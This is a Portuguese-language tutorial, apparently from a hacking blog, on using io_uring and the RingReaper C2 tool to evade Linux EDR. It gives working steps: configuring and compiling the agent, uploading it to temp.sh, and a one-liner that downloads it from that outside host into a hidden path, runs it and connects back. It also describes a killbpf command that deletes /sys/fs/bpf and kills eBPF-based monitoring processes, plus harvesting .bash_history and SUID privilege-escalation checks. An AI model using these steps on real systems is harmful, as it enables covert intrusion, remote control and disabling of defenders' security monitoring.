NT-2026.10.11 DOSSIÊ LINUX
LINUX EDR: COMO O IO_URING PODE AFETAR A DETECÇÃO DE AMEAÇAS
Aprenda como o io_uring pode reduzir a visibilidade de EDRs no Linux, tornando atividades menos detectáveis por ferramentas de segurança.

Introdução
Bem-vindo de volta, aspirantes a guerreiros cibernéticos! Encontrar um EDR em uma máquina Linux é comum ao trabalhar com organizações que levam a segurança cibernética a sério. Embora muitos associem plataformas de EDR ao Windows, implantações Linux modernas são frequentemente monitoradas também. Evadir um EDR quase que uma forma de arte. Exige um profundo entendimento dos sistemas operacionais, internos do sistema e de como os produtos de segurança realmente coletam telemetria. A maioria dos produtos de EDR é projetada em torno da visibilidade. Eles monitoram processos, acesso a arquivos, conexões de rede, tentativas de escalada de privilégios e muitas outras atividades que poderiam indicar comportamento malicioso. Um exemplo simples poderia ser acessar arquivos sensíveis, tentar se conectar a infraestrutura externa suspeita ou gerar processos filhos incomuns. Essas ações geram eventos que os produtos de segurança podem inspecionar e correlacionar. Ao longo dos anos, pesquisadores demonstraram muitos métodos diferentes para contornar ou reduzir a visibilidade do EDR. Algumas técnicas abusam de binários confiáveis. Outros utilizam vulnerabilidades de kernel ou fraquezas na lógica de monitoramento. Hoje, porém, vamos olhar para uma abordagem diferente envolvendo um recurso Linux chamado io_uring. Usando essa técnica, torna-se possível realizar reconhecimento, transferir arquivos, estabelecer comunicações C2 e executar comandos gerando significativamente menos eventos. A técnica que discutiremos hoje foi desenvolvida pela MatheuZSecurity.
Bypass do EDR
Com o io_uring, muitas operações podem ser submetidas e tratadas através de um modelo de execução diferente. Em vez de chamar funções repetidamente, as solicitações são processadas através do io_uring, gerando menos eventos observáveis. Isso não torna a atividade invisível, apenas reduz a visibilidade do EDR. Porém, os produtos de segurança modernos estão tentando melhorar sua capacidade de monitorar o io_uring agora. No entanto, porque pode reduzir a visibilidade de chamadas de sistema tradicionais, tornou-se uma área de crescente interesse para hackers.

Configuração
kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y
Por padrão, o Kali Linux não inclui a biblioteca de desenvolvimento necessária, então precisamos instalá‑la antes de compilar o projeto.
Depois disso, abra o arquivo agent.c e atualize o endereço IP para apontar para sua máquina Kali. Este é o endereço ao qual o agente se reconectará após ser executado no sistema de destino. Essa é a única modificação necessária. Após atualizar o endereço IP, compile o projeto e faça o upload para um serviço de hospedagem temporário.
kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F “file=@agent” https://temp.sh/upload
Após concluir o upload, você receberá um URL que pode ser usado para baixar o binário.



Conectando ao C2
kali > python3 server.py –ip 192.168.131.7 –port 443
Com o binário enviado, podemos partir para a máquina de destino. Substitua o URL no comando a seguir pelo link gerado durante o processo de upload e execute-o.
ubuntu > python3 -c “import urllib.request,os,subprocess; u=urllib.request.Request(‘http://temp.sh/1234/agent’,method=’POST’); d=’/var/tmp/.X11′; open(d,’wb’).write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);”
O comando baixa o executável, o armazena localmente, ajusta as permissões e o inicia. Se tudo funcionar corretamente, a conexão deve aparecer imediatamente. Ao operar dentro de um ambiente monitorado, menos atividade geralmente significa menos risco. Quanto menos ruído você gerar, menos provável será chamar a atenção.


Executando Comandos
O conjunto de comandos é intencionalmente pequeno, mas cobre a maioria das tarefas que você normalmente precisará. Por exemplo, executar o comando users mostra as sessões ativas. Se necessário, sessões individuais podem ser encerradas usando o comando kick. O comando privesc procura por binários SUID que possam ser úteis para escalada de privilégios.
Você pode fazer upload de arquivos para o alvo ou recuperar arquivos da máquina de destino. Um exemplo comum seria ler o .bash_history para ver comandos previamente executados por usuários locais. Por fim, o comando mais interessante é killbpf. Muitas ferramentas de segurança, incluindo Falco, Sysdig, Elastic Defend, Tetragon e muitas outras plataformas de monitoramento, dependem do eBPF para alcançar visibilidade profunda no kernel. O eBPF permite que produtos de segurança observem a atividade de processos, chamadas de sistema, eventos de rede e muitos outros comportamentos sem exigir módulos tradicionais de kernel. O comando killbpf tenta disrupção isso. Ele remove o conteúdo de /sys/fs/bpf, que é o sistema de arquivos virtual comumente usado para armazenar programas e mapas eBPF fixados. Esses mapas atuam como estruturas de dados compartilhados que permitem que programas eBPF e aplicações em espaço de usuário troquem informações. Quando esses componentes são removidos ou interrompidos, as ferramentas de segurança podem perder visibilidade na atividade do sistema. Além disso, o comando tenta identificar e encerrar processos que estão interagindo ativamente com mapas eBPF. Disrupti‑los pode interferir no monitoramento de segurança. Abaixo você pode ver a ferramenta funcionando ao lado do TrendMicro.





Resumo
O io_uring, recurso avançado do kernel Linux, pode reduzir a visibilidade de atividades em sistemas monitorados por EDRs, permitindo reconhecimento, transferência de arquivos e execução de comandos com menor geração de eventos. Este artigo detalha a técnica usando o RingReaper, desde a configuração até a execução de comandos e suas implicações para defesa e ataque.